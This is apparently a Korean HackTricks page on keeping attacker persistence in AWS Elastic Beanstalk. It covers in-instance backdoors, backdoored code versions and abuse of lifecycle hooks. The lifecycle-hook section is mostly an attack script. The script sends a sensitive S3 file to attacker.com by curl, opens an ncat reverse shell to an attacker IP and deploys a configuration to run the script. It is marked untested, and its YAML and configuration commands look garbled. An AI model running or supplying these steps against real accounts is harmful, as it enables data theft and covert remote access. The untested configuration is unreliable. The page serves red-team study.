AWS - Elastic Beanstalk Persistence

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

Elastic Beanstalk

자세한 정보는 확인하세요:

pageAWS - Elastic Beanstalk Enum

인스턴스 내 지속성

AWS 계정 내에서 지속성을 유지하기 위해 인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다(cron 작업, ssh 키...), 이렇게 하면 공격자가 액세스하여 IAM 역할 자격 증명을 메타데이터 서비스에서 도용할 수 있습니다.

버전 내 백도어

공격자는 S3 저장소 내의 코드에 백도어를 설치하여 항상 백도어를 실행하고 예상 코드를 실행하도록 할 수 있습니다.

새로운 백도어 버전

실제 버전의 코드를 변경하는 대신, 공격자는 응용 프로그램의 새로운 백도어 버전을 배포할 수 있습니다.

사용자 지정 리소스 라이프사이클 후크 남용

TODO: 테스트

Elastic Beanstalk은 인스턴스 프로비저닝 및 종료 중에 사용자 지정 스크립트를 실행할 수 있게 하는 라이프사이클 후크를 제공합니다. 공격자는 라이프사이클 후크를 구성하여 주기적으로 데이터를 유출하거나 AWS 계정에 액세스를 유지하는 스크립트를 실행할 수 있습니다.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
htARTE (HackTricks AWS Red Team Expert)와 함께 제로부터 영웅이 되는 AWS 해킹 배우기!

다른 방법으로 HackTricks를 지원하는 방법:

最終更新